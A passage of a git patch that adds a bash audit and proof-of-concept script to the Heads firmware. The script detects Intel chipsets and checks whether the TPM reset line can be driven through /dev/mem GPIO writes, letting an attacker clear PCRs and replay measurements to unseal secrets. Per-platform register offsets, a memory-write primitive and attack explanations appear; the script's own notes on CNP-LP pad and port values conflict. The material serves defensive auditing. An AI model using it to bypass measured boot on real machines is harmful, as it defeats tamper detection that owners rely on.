From 16e17dfa96afaaae8ae77cc34525079bc11ad64b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 23 Jul 2026 20:35:59 -0400 Subject: [PATCH 1/5] initrd/bin/tpm-gpio-reset-demo.sh: add TPM GPIO reset audit and assertion PoC Bash script with --audit and --execute modes. Detects PCH/SoC via PCI device ID, reads DW0, PADCFGLOCK, and PADCFGLOCKTX from /dev/mem. Reports 3-tier vulnerability classification (confirmed, unconfirmed, uncertain). Performs GPIO assertion, deassert, and tpm2 startup, distinguishing bus reset from software TPM2_Startup clearing via sysfs pcrs presence. Includes bus pin lock checking (kukri detect parity), eSPI vs LPC auto-detection, and platform support for SPT/KBP, CNP-LP, CFL-S, CML-U, CML-DT, TGL, ADL-P, ADL-S, RPL-S, ARL-S, MTL, and pre-Skylake. Signed-off-by: Thierry Laurion --- initrd/bin/tpm-gpio-reset-demo.sh | 1758 +++++++++++++++++++++++++++++ 1 file changed, 1758 insertions(+) create mode 100755 initrd/bin/tpm-gpio-reset-demo.sh diff --git a/initrd/bin/tpm-gpio-reset-demo.sh b/initrd/bin/tpm-gpio-reset-demo.sh new file mode 100755 index 000000000..d36e053c2 --- /dev/null +++ b/initrd/bin/tpm-gpio-reset-demo.sh @@ -0,0 +1,1758 @@ +#!/bin/bash +# SPDX-License-Identifier: GPL-2.0-only +# +# TPM GPIO Reset Attack -- Proof of Concept / Audit Tool +# +# ============================================================================ +# WHAT THIS SCRIPT DEMONSTRATES +# ============================================================================ +# +# The TPM GPIO reset attack exploits a design flaw on certain Intel PCH +# platforms where the PLTRST# (Power Loss Timer Reset) signal to the TPM +# can be asserted from userspace through PCH sideband registers. +# +# Two mechanisms exist, both accessed via PCR (Private Configuration Register) +# MMIO space: +# +# CNP-LP (T480s): PLTRST_CPU_B is on a multi-function GPIO pad (pad 256, +# COM3). The pad is reprogrammed from native function to GPIO output mode, +# driven low (assert reset), then the original mode is restored. +# +# SPT/KBP (T480) and ADL/RPL: Write 0x80000000 to the PAD_CFG DW0 register +# at a platform-specific PCR address. This asserts PLTRST# at the PCH level +# without changing the pad's GPIO mode. +# +# By asserting PLTRST#, the attacker can reset the TPM without power cycling +# the platform, clearing all PCRs to their initial (all-zero) state while the +# CPU and memory contents remain intact. +# +# After reset, if the attacker can replay the PCR extend operations from a +# saved measurement log, the TPM will present the expected PCR values and +# unseal the TOTP/HOTP secrets -- effectively bypassing the +# measured boot trust chain. +# +# Attack vector: The measurement logs (cbmem -L, /tmp/measuring_trace.log) +# are accessible from the Heads recovery shell. An unauthenticated recovery +# shell provides all the information needed to replay PCR measurements. +# Configuring GPG authentication for the recovery shell +# (CONFIG_BOOT_RECOVERY_GPG=) prevents this. +# +# ============================================================================ +# AFFECTED PLATFORMS +# ============================================================================ +# +# Three classes of platforms based on PCH generation: +# +# 1. Cannon Point LP (CNP-LP) -- Kaby Lake-R / Whiskey Lake / Comet Lake (300-series) +# PLTRST_CPU_B is mapped as a GPP pad inside the GPIO community and can +# be toggled directly from userspace. UNTESTED -- no hardware verification. +# kukri's PoC does not support this PCH family. +# +# * ThinkPad T480s, T490, T495, X390, etc. (device ID 0x9d84) +# * PLTRST_CPU_B = pad 256, GPIO community 3 (PID_GPIOCOM3 = 0x6b) +# * Offset within community: 149 (first pad of comm 3 is HDA_BCLK = 107) +# +# 2. Skylake/Kaby Lake PCH (SPT/KBP) -- 6th/7th gen mobile/desktop +# GPP_B13 drives PLTRST# via GPIO PAD_CFG at PCR port 0xaf, +# COMM_0, local idx 13. PAD_CFG_BASE = 0x400. +# This method IS IMPLEMENTED here. UNTESTED -- no hardware verification. +# +# * ThinkPad T480 (KBL), T470, X270, T460, X260, etc. +# +# 3. Alder Lake / Raptor Lake PCH (ADL/RPL) -- 12th/13th/14th gen +# GPP_B13 drives PLTRST# via GPIO PAD_CFG at PCR port 0x6d +# (ADL-S/RPL-S, COMM_1) or 0x6e (ADL-P mobile, COMM_0). +# All variants use local idx 13 with PAD_CFG_BASE = 0x700. +# This method IS IMPLEMENTED here. TESTED on NV4x ADL-P: write verified, PCRs do not clear -- mechanism NOT confirmed working. +# +# * NovaCustom NV4x ADL, Nitropad NS50, MSI Z790-P DDR5, etc. +# +# 4. Pre-Skylake (Sandy Bridge, Ivy Bridge, Haswell, Broadwell) +# The PLTRST# signal to the TPM is a dedicated pin that cannot be +# reprogrammed to GPIO mode by software. NOT AFFECTED. +# This classification is based on Intel PCH architecture documentation -- +# no hardware testing has confirmed that pre-SKL PLTRST# pins are not +# GPIO-multiplexed on any die stepping. Community verification welcomed. +# +# 5. Meteor Lake (MTL) +# GPIO lock is functional on these platforms. NOT AFFECTED. +# +# ============================================================================ +# REFERENCES +# ============================================================================ +# +# [1] mkukri.xyz -- "TPM GPIO fail: The Forgotten Bus" +# https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html +# Original discovery and detailed analysis by mkukri. +# +# [2] kukrimate/tpm-gpio-fail (GitHub) -- GPL-2.0 PoC tools +# https://github.com/kukrimate/tpm-gpio-fail +# Contains the original `detect` and `reset` tools this Heads +# PoC script is conceptually based on. The `reset` directory +# provides platform-specific data (PCH device IDs, PCR ports, +# pad offsets, GPIO community definitions in inteltool.h) that +# informed the platform database in this script. +# https://github.com/kukrimate/tpm-gpio-fail/tree/main/reset +# +# [3] coreboot ticket #576 -- "PLTRST_CPU_B pad should be locked +# to prevent userspace TPM GPIO reset" +# https://ticket.coreboot.org/issues/576 +# Tracking the coreboot-side fix: lock the pad config after +# initialization to prevent runtime reprogramming. +# +# [4] linuxboot/heads PR #1568 -- "scripts: add TCPA log replay support" +# https://github.com/linuxboot/heads/pull/1568 +# Added TCPA/TPM event log replay to Heads (later moved to tpmr.sh +# calcfuturepcr). This script delegates measurement replay to the +# same tpmr.sh infrastructure. +# +# ============================================================================ +# DISCLAIMER +# ============================================================================ +# +# This script is provided for AUDITING, EDUCATIONAL, and RESEARCH purposes +# ONLY. It demonstrates a known vulnerability so that: +# - Platform owners can verify whether their hardware is affected +# - Developers can test mitigation patches +# - The community can audit and improve platform security +# +# Misuse of this script to bypass security measures on systems you do not +# own or have explicit authorization to test is illegal and unethical. +# +# ============================================================================ + +# Heads initrd script. Uses bash for /dev/mem access via dd. +# Sources /etc/functions.sh for standard logging functions (INFO, WARN, DIE, +# STATUS, STATUS_OK, DEBUG, NOTE). +# +# NOTE: On ADL-P platforms (NovaCustom NV4x, Nitropad NS50), the P2SB bridge +# is hidden by FSP-S firmware. The GPIO pad config registers at 0xFD000000+ +# are accessible via /dev/mem if CONFIG_STRICT_DEVMEM=n (Heads default), but +# the PADCFGLOCK register may block writes to GPP_B13. If the register value +# after write differs from the expected value, see the PADCFGLOCK and +# PADCFGLOCKTX debug output for lock status. + +set -eo pipefail + +# shellcheck source=/dev/null +. /etc/functions.sh + +# ---- Named constants --------------------------------------------------- + +GPIO_ASSERT_VALUE=0x80000000 +GPIO_NF1_VALUE=0x40000401 +TPM_NVRAM_TOTP_INDEX=0x4d47 +DEFAULT_PCR_ALGO="sha256" +ESPI_CHECK_PORT=0xC7 +PADCFGLOCK_STRIDE=8 + +# ---- Global variables ------------------------------------------------- + +SCRIPT_NAME="${0##*/}" + +# Platform detection is via PCI device ID of the ISA/LPC bridge (class 0x0601). +# Mechanism-specific parameters (GPIO pad numbers, PCR ports, etc.) are +# hardcoded in the detect_platform() case statement below. + +# ---- Helper functions (thin wrappers around Heads logging) ------------ + +# Print a section header using STATUS +section() { + TRACE_FUNC + STATUS "======================================================================" + STATUS " $*" + STATUS "======================================================================" +} + +# Read a 32-bit value from physical memory via /dev/mem +# Usage: mem_read32 +# Returns: decimal value +mem_read32() { + TRACE_FUNC + _addr="$1" + # BusyBox does not ship od (CONFIG_OD=n). Use xxd which is available. + dd if=/dev/mem bs=4 count=1 skip="$(( _addr / 4 ))" 2>/dev/null | xxd -p +} + +# Write a 32-bit value to physical memory via /dev/mem (32-bit aligned write). +# Usage: mem_write32 +# Verifies write with readback — WARNs on mismatch. +mem_write32() { + TRACE_FUNC + _addr="$1" + _val="$2" + _skip=$(( _addr / 4 )) + DEBUG "mem_write32 addr=0x$(printf '%x' $_addr) val=0x$(printf '%x' $_val)" + # Write 4 bytes in little-endian order via printf '%b' with \xHH escapes. + # Each byte is a separate printf argument to safely pass NUL bytes. + printf '%b' \ + "\\x$(printf '%02x' $(( _val & 0xff )))" \ + "\\x$(printf '%02x' $(( (_val >> 8) & 0xff )))" \ + "\\x$(printf '%02x' $(( (_val >> 16) & 0xff )))" \ + "\\x$(printf '%02x' $(( (_val >> 24) & 0xff )))" | \ + dd of=/dev/mem bs=4 count=1 seek="$_skip" 2>/dev/null + # Verify: read back the 4 bytes — xxd -p outputs bytes in LE memory order + _read=$(dd if=/dev/mem bs=4 count=1 skip="$_skip" 2>/dev/null | xxd -p | tr -d '\n ') + DEBUG " readback: 0x$_read" + # xxd outputs LE bytes (e.g. 0x80000000 -> "00000080"). Rearrange for comparison. + _expected_le=$(printf '%02x' $(( _val & 0xff )))$(printf '%02x' $(( (_val >> 8) & 0xff )))$(printf '%02x' $(( (_val >> 16) & 0xff )))$(printf '%02x' $(( (_val >> 24) & 0xff ))) + if [ "$_read" != "$_expected_le" ]; then + DEBUG " MMIO write mismatch at 0x$(printf '%x' $_addr): wrote 0x$(printf '%08x' $_val), read 0x$_read (likely locked by PADCFGLOCK)" + fi +} + + + +# ---- Attack explanation header ---------------------------------------- + +print_banner() { + TRACE_FUNC + section "TPM GPIO RESET ATTACK -- Proof of Concept / Platform Audit Tool" + INFO " This tool checks whether your platform is affected by the TPM GPIO" + INFO " reset attack (coreboot ticket #576, mkukri.xyz 2024-06-01)." + INFO "" + INFO " --audit, -a Safe audit: detect platform, report vulnerability" + INFO " --execute,--exec,-x Perform GPIO hardware reset and measurement replay" + INFO " --help,-h Show this help" +} + +# Compact header for audit mode (after platform detection) +print_audit_header() { + TRACE_FUNC + INFO "TPM GPIO Reset Audit -- platform: $GLOBAL_PCH ($_dev_id)" +} + +# ---- Platform detection ----------------------------------------------- +# +# Platform detection uses the PCI device ID of the ISA/LPC bridge (class +# 0x0601, typically device 00:1f.0 on Intel platforms). This is reliable +# across all Linux kernels and does not depend on CONFIG_BOARD or DMI data. + +_resolve_platform() { + TRACE_FUNC + _dev_id="" + _dev_name="" + + # Find ISA/LPC bridge (class 0x0601) via sysfs + for _dev in /sys/bus/pci/devices/*/; do + [ -r "${_dev}class" ] || continue + _class=$(cat "${_dev}class" 2>/dev/null) + if [ "${_class%??}" = "0x0601" ]; then + _dev_id=$(cat "${_dev}device" 2>/dev/null) + _vendor=$(cat "${_dev}vendor" 2>/dev/null) + _dev_name=$(cat "${_dev}device" 2>/dev/null) + DEBUG "Matched ISA bridge: vendor=$_vendor device=$_dev_id class=$_class" + break + fi + done + + if [ -z "$_dev_id" ] || [ "$_vendor" != "0x8086" ]; then + DEBUG "No Intel ISA/LPC bridge found (device='$_dev_id' vendor='$_vendor')" + WARN " No Intel ISA/LPC bridge found (class 0x0601)." + GLOBAL_PCH="UNKNOWN" + return + fi + + INFO " ISA bridge device ID: $_dev_id" + DEBUG " ISA bridge: vendor $_vendor device $_dev_id" + + # Match device ID against known PCH families. + # Device IDs from kukrimate/tpm-gpio-fail reset/inteltool.c and + # coreboot src/soc/intel/ headers. + case "$_dev_id" in + # Sunrise Point (SPT) -- Skylake (6th gen), VULNERABLE + # GPP_B13 is global pad 37 (GPP_A0=0..23, GPP_B0=24, GPP_B13=37) + # port=0xaf PAD_CFG_BASE=0x400 + 0xa143|0xa144|0xa145|0xa146|0xa147|0xa148|0xa149|0xa14a|0xa14d|0xa14e|0xa150|0xa152|0xa153|0xa154) + GLOBAL_PCH="SPT_KBP" + COMMUNITY_PORT=0xaf; PLTRST_PAD=37; FIRST_PAD=0 + PAD_CFG_BASE=0x400; NUM_PAD_CFG_REGS=2 + DEBUG "SPT (Skylake 6th gen) device=$_dev_id pad=37 port=0xaf" ;; + # Comet Lake Desktop (CML-DT) -- B460, H410, H470, Z490 (10th gen desktop), VULNERABLE + # GPP_B13 (COMM_0, local idx 13) port=0xaf PAD_CFG_BASE=0x400 + # PADCFGLOCK at offset 0xA8 (same as SPT global). Same port as SPT but different PCH generation. + 0x0684|0x0685|0x0686|0x0687|0x0688|0x0689|0x068a|0x068b|0x068c|0x068d|0x068e|0x068f) + GLOBAL_PCH="CML_DT" + COMMUNITY_PORT=0xaf; PLTRST_PAD=37; FIRST_PAD=0 + PAD_CFG_BASE=0x400; NUM_PAD_CFG_REGS=2 + DEBUG "CML-DT (Comet Lake Desktop 10th gen) device=$_dev_id pad=37 port=0xaf" ;; + # Kaby Point (KBP) -- Kaby Lake (7th gen), VULNERABLE + # GPP_B13 is global pad 37 port=0xaf PAD_CFG_BASE=0x400 + 0xa2c4|0xa2c5|0xa2c6|0xa2c7|0xa2c8|0xa2c9|0xa2ca|0xa2d2) + GLOBAL_PCH="SPT_KBP" + COMMUNITY_PORT=0xaf; PLTRST_PAD=37; FIRST_PAD=0 + PAD_CFG_BASE=0x400; NUM_PAD_CFG_REGS=2 + DEBUG "KBP (Kaby Lake 7th gen) device=$_dev_id pad=37 port=0xaf" ;; + # Tiger Lake (TGL) -- 11th gen mobile/desktop, VULNERABLE + # PADCFGLOCK at offset 0x80 per Intel doc 834810. + # Device IDs from coreboot/src/soc/intel/tigerlake/ + 0xa082|0xa083|0xa084|0xa085|0xa086|0xa087|0xa088|0xa089|0xa08a|0xa08b|0xa08c|0xa08d|0xa08e|0xa08f|0xa0a0|0xa0a1|0xa0a2|0xa0a3|0xa0a4|0xa0a5|0xa0a6|0xa0a7) + GLOBAL_PCH="TGL" + COMMUNITY_PORT=0x6e; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "TGL (Tiger Lake 11th gen) device=$_dev_id port=0x6e pad=13" ;; + # Coffee Lake S/H (CFL-S) -- Z390, H310, H370, B360, Q370, C242, C246 (8th/9th gen desktop), VULNERABLE + # GPP_B13 (COMM_0, local idx 13) port=0x6e PAD_CFG_BASE=0x600 + # PADCFGLOCK at offset 0x88 per Intel doc 834810. + 0xa303|0xa304|0xa305|0xa306|0xa307|0xa308|0xa309|0xa30a|0xa30b|0xa30c|0xa30d|0xa30e) + GLOBAL_PCH="CFL_S" + COMMUNITY_PORT=0x6e; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x600; NUM_PAD_CFG_REGS=4 + DEBUG "CFL-S (Coffee Lake S/H) device=$_dev_id port=0x6e pad=13" ;; + # Comet Lake U (CML-U) -- 10th gen mobile (400-series PCH), VULNERABLE + # GPP_B13 (COMM_0, local idx 13) port=0x6e PAD_CFG_BASE=0x600 + # Has PADCFGLOCK at offset 0x88 (different from CNP-LP which has none). + # Device IDs per Intel doc 834810. + 0x0660|0x0661) + GLOBAL_PCH="CML_U" + COMMUNITY_PORT=0x6e; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x600; NUM_PAD_CFG_REGS=4 + DEBUG "CML-U (Comet Lake U 10th gen) device=$_dev_id port=0x6e pad=13" ;; + # Cannon Point LP (CNP-LP) -- Kaby Lake-R / Whiskey Lake / Comet Lake U (300-series), VULNERABLE + # GPP_B13 (COMM_0, local idx 38) port=0x6e PAD_CFG_BASE=0x600 + # No PADCFGLOCK register exists on CNL-LP -- pad_cfg_lock_offset=0. + # UNTESTED -- kukri's PoC does not support this PCH family. + # Some Comet Lake U steppings (0x9d8* range) have PADCFGLOCK at 0x88. + # Only 0x9d84 (CNP-LP proper) is confirmed to lack the register. + 0x9d84|0x9d85|0x9d86|0x9d87|0x9d88|0x9d89|0x9d8a|0x9d8b|0x9d8c|0x9d8d|0x9d8e|0x9d8f) + GLOBAL_PCH="CNP_LP" + COMMUNITY_PORT=0x6e; PLTRST_PAD=38; FIRST_PAD=0 + PAD_CFG_BASE=0x600; NUM_PAD_CFG_REGS=4 + DEBUG "CNP-LP (Cannon Point LP) device=$_dev_id port=0x6e pad=38 dw0_offset=0x$(printf '%x' $(( 0x600 + 38*16 )))" ;; + # Alder Lake-P (mobile) -- ADL-P, VULNERABLE + # GPP_B13 (COMM_0, local idx 13) port=0x6e PAD_CFG_BASE=0x700 LOCK_BASE=0x80 + 0x5180|0x5181|0x5182|0x5183|0x5184|0x5185|0x5186|0x5187|0x5188|0x5189|0x518a|0x518b|0x518c|0x518d|0x518e|0x518f) + GLOBAL_PCH="ADL_P" + COMMUNITY_PORT=0x6e; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "ADL-P (mobile 12th gen) device=$_dev_id port=0x6e offset=0x7D0" ;; + # Raptor Lake-P (mobile) -- RPL-P, VULNERABLE + # GPP_B13 (COMM_0, local idx 13) port=0x6d PAD_CFG_BASE=0x700 LOCK_BASE=0x110 + 0x5190|0x5191|0x5192|0x5193|0x5194|0x5195|0x5196|0x5197|0x5198|0x5199|0x519a|0x519b|0x519c|0x519d|0x519e|0x519f) + GLOBAL_PCH="RPL_P" + COMMUNITY_PORT=0x6d; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "RPL-P (mobile 13th gen) device=$_dev_id port=0x6d offset=0x7D0" ;; + # Alder Lake-S (desktop) -- ADL-S, VULNERABLE + # GPP_B13 (COMM_1, local idx 13) port=0x6d PAD_CFG_BASE=0x700 LOCK_BASE=0x110 + 0x7a80|0x7a81|0x7a82|0x7a83|0x7a84|0x7a85|0x7a86|0x7a87|0x7a88|0x7a89|0x7a8a|0x7a8b|0x7a8c) + GLOBAL_PCH="ADL_S" + COMMUNITY_PORT=0x6d; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "ADL-S (desktop 12th gen) device=$_dev_id port=0x6d offset=0x7D0" ;; + # Meteor Lake (MTL) -- Core Ultra Series 1+, NOT VULNERABLE + # Functional GPIO lock via SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR. + # PCH device IDs from coreboot src/soc/intel/meteorlake/ (GPL-2.0). + 0x7e00|0x7e01|0x7e02|0x7e03|0x7e04|0x7e05|0x7e06|0x7e07) + GLOBAL_PCH="MTL" + DEBUG "MTL (Meteor Lake) device=$_dev_id -- functional GPIO lock" ;; + # Raptor Lake-S (desktop) -- RPL-S, VULNERABLE + # GPP_B13 (COMM_1, local idx 13) port=0x6d PAD_CFG_BASE=0x700 LOCK_BASE=0x110 + 0x7a0c|0x7a0d|0x7a0e|0x7a0f|0x7a10|0x7a11|0x7a12|0x7a13|0x7a14|0x7a15|0x7a16|0x7a17) + GLOBAL_PCH="RPL_S" + COMMUNITY_PORT=0x6d; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "RPL-S (desktop 13th/14th gen) device=$_dev_id port=0x6d offset=0x7D0" ;; + # Arrow Lake S (ARL-S) -- 15th gen desktop, VULNERABILITY UNCERTAIN + # GPP_B13 (COMM_1, local idx 13) port=0x6d PAD_CFG_BASE=0x700 + # PADCFGLOCK at offset 0x120 per Intel doc 834810. + 0x7e20|0x7e21|0x7e22|0x7e23|0x7e24|0x7e25|0x7e26|0x7e27|0x7e28|0x7e29|0x7e2a|0x7e2b|0x7e2c|0x7e2d|0x7e2e|0x7e2f) + GLOBAL_PCH="ARL_S" + COMMUNITY_PORT=0x6d; PLTRST_PAD=13; FIRST_PAD=0 + PAD_CFG_BASE=0x700; NUM_PAD_CFG_REGS=4 + DEBUG "ARL-S (Arrow Lake S 15th gen) device=$_dev_id port=0x6d offset=0x7D0" ;; + *) + GLOBAL_PCH="UNKNOWN" + DEBUG "Device ID $_dev_id not in known PCH tables" ;; + esac + DEBUG "Device ID $_dev_id resolved to GLOBAL_PCH=$GLOBAL_PCH" + + GLOBAL_DEV_ID="$_dev_id" + DEBUG "Final platform: GLOBAL_PCH=$GLOBAL_PCH COMMUNITY_PORT=$(printf "0x%x" $COMMUNITY_PORT 2>/dev/null)" +} + +detect_platform() { + TRACE_FUNC + section "1. PLATFORM DETECTION" + + _resolve_platform + DEBUG "detect_platform: GLOBAL_PCH=$GLOBAL_PCH NOT_VULNERABLE=$NOT_VULNERABLE" + + case "$GLOBAL_PCH" in + MTL) + STATUS_OK "Detected PCH: Meteor Lake (device $GLOBAL_DEV_ID)" + INFO " Meteor Lake has functional GPIO lock -- NOT VULNERABLE" + INFO " to the TPM GPIO reset attack." + NOT_VULNERABLE="y" + DEBUG "MTL platform: setting NOT_VULNERABLE=y" ;; + PRE_SKL) + STATUS_OK "Detected PCH: Pre-Skylake (device $GLOBAL_DEV_ID)" + INFO " Pre-Skylake platforms have a dedicated PLTRST pin that" + INFO " cannot be reprogrammed via GPIO. NOT VULNERABLE." + NOT_VULNERABLE="y" + DEBUG "PRE_SKL platform: setting NOT_VULNERABLE=y" ;; + CML_U) + STATUS_OK "Detected PCH: Comet Lake U (CML-U) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, COMM_0, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x88 (Intel doc 834810)" ;; + CNP_LP) + STATUS_OK "Detected PCH: Cannon Point LP (CNP-LP) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (PLTRST_CPU_B pad 256, COMM_3, local idx $((PLTRST_PAD - FIRST_PAD)))" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " UNTESTED -- kukri's PoC does not support CNP-LP. Community testing needed." ;; + SPT_KBP) + STATUS_OK "Detected PCH: Skylake/Kaby Lake (SPT/KBP) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, COMM_0, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" ;; + CML_DT) + STATUS_OK "Detected PCH: Comet Lake Desktop (CML-DT) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, COMM_0, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0xA8 (Intel doc 834810)" ;; + TGL) + STATUS_OK "Detected PCH: Tiger Lake (TGL) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, COMM_0, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x80 (Intel doc 834810)" ;; + CFL_S) + STATUS_OK "Detected PCH: Coffee Lake S/H (CFL-S) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, COMM_0, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x88 (Intel doc 834810)" ;; + ADL_P) + STATUS_OK "Detected PCH: Alder Lake-P (mobile 12th gen) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x80 (bit 13 per coreboot gpio_defs.h)" ;; + RPL_P) + STATUS_OK "Detected PCH: Raptor Lake-P (mobile 13th gen) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x110 (bit 13 per coreboot gpio_defs_pch_s.h)" ;; + ADL_S|RPL_S) + STATUS_OK "Detected PCH: Alder/Raptor Lake-S (desktop) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x110 (bit 13 per coreboot gpio_defs_pch_s.h)" ;; + ARL_S) + STATUS_OK "Detected PCH: Arrow Lake S (ARL-S) -- device $GLOBAL_DEV_ID" + MECHANISM="GPIO_PAD_CFG" + INFO " Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13)" + INFO " Port: $(printf "0x%x" $COMMUNITY_PORT) | PAD_CFG_BASE: $(printf "0x%x" $PAD_CFG_BASE)" + INFO " PADCFGLOCK offset: 0x120 (Intel doc 834810)" ;; + UNKNOWN) + DEBUG "Unknown platform GLOBAL_PCH=UNKNOWN, showing help" + DEBUG "" + WARN "Platform not recognized — unknown PCI device $GLOBAL_DEV_ID" + DEBUG "" + INFO " This script detects Intel PCH families by ISA/LPC bridge PCI device ID:" + INFO " - SPT (0xa14*) Skylake: GPP_B13 port=0xaf, PADCFGLOCK 0xA8" + INFO " - KBP (0xa2c*) Kaby Lake: GPP_B13 port=0xaf, PADCFGLOCK 0xA8" + INFO " - CML-DT (0x0684-0x068f) Comet Lake Desktop: GPP_B13 port=0xaf, PADCFGLOCK 0xA8" + INFO " - TGL (0xa08*/0xa0a*) Tiger Lake: GPP_B13 port=0x6e, PADCFGLOCK 0x80" + INFO " - CML_U (0x0660-0x0661) Comet Lake U: GPP_B13 port=0x6e, PADCFGLOCK 0x88" + INFO " - CFL_S (0xa303-0xa30e) Coffee Lake S/H: GPP_B13 port=0x6e, PADCFGLOCK 0x88" + INFO " - CNP-LP (0x9d84) Cannon Pt LP: PLTRST_CPU_B port=0x6b, no PADCFGLOCK register" + INFO " - ADL-P (0x518*) 12th gen: GPP_B13 port=0x6e, PADCFGLOCK 0x80" + INFO " - RPL-P (0x519*) 13th gen: GPP_B13 port=0x6d, PADCFGLOCK 0x110" + INFO " - ADL-S (0x7a8*) 12th gen: GPP_B13 port=0x6d, PADCFGLOCK 0x110" + INFO " - RPL-S (0x7a0*) 13th gen: GPP_B13 port=0x6d, PADCFGLOCK 0x110" + INFO " - ARL-S (0x7e2*) Arrow Lake: GPP_B13 port=0x6d, PADCFGLOCK 0x120" + INFO " - MTL (0x7e00-0x7e07) Core Ultra 1+: GPIO lock infrastructure compiled, per-pad enforcement unconfigured" + DEBUG "" + PLATFORM_UNKNOWN="y" + DEBUG "Setting PLATFORM_UNKNOWN=y" ;; + esac + + # ---- 3-tier vulnerability classification for audit mode ---- + if [ "$AUDIT_MODE" = "y" ] && [ "$PLATFORM_UNKNOWN" != "y" ]; then + STATUS " VULNERABILITY CLASSIFICATION" + case "$GLOBAL_PCH" in + SPT_KBP|CML_DT) + INFO " TIER 1 -- VULNERABLE (confirmed): SPT/KBP/CML-DT (T480, M900, B460, etc.)" + INFO " Mechanism confirmed working by kukri. Pad unlocked, attack feasible." ;; + TGL) + INFO " TIER 2 -- VULNERABLE (unconfirmed): TGL (Tiger Lake 11th gen)" + INFO " PADCFGLOCK at 0x80 per Intel doc, BUT no community test data." + INFO " Community testing needed." ;; + CFL_S) + INFO " TIER 2 -- VULNERABLE (unconfirmed): CFL-S (Z390, H310, etc.)" + INFO " PADCFGLOCK at 0x88 per Intel doc 834810, BUT no community test data." + INFO " Community testing needed." ;; + CML_U) + INFO " TIER 2 -- VULNERABLE (unconfirmed): CML-U (Comet Lake U 10th gen)" + INFO " PADCFGLOCK at 0x88 per Intel doc, BUT no community test data." + INFO " Community testing needed." ;; + CNP_LP) + INFO " TIER 2 -- VULNERABLE (unconfirmed): CNP-LP (T480s)" + INFO " Pad unlocked, mechanism theoretically works but NO hardware test data exists." + INFO " kukri's PoC does not support this PCH family. Community testing needed." ;; + ADL_P|RPL_P) + INFO " TIER 3 -- VULNERABILITY UNCERTAIN: ADL-P 0x5182 (NV4x, NS50), RPL-P" + INFO " GPIO lock is absent, writes verified, but PLTRST# assertion NOT confirmed" + INFO " on this PCH die. PCRs remain non-zero after toggle on NV4x ADL-P." + INFO " Physical scope verification needed. May not be electrically connected." ;; + ADL_S|RPL_S|ARL_S) + INFO " TIER 3 -- VULNERABILITY UNCERTAIN: ADL-S/RPL-S/ARL-S desktop" + INFO " GPIO lock is absent, writes verified, but PLTRST# assertion NOT confirmed" + INFO " on these desktop PCH dies. Community testing needed." ;; + MTL) + INFO " NOT VULNERABLE -- MTL (V540TU/V560TU):" + INFO " PCR GPIO lock Kconfig selected, FSP PchUnlockGpioPads=1." + INFO " eSPI-connected TPM (Infineon SLB 9672). GPIO PLTRST# manipulation" + INFO " does not apply to eSPI/LPC-connected TPMs." ;; + PRE_SKL) + INFO " NOT VULNERABLE -- Pre-Skylake (T420, T430, X220, X230, etc.):" + INFO " Dedicated 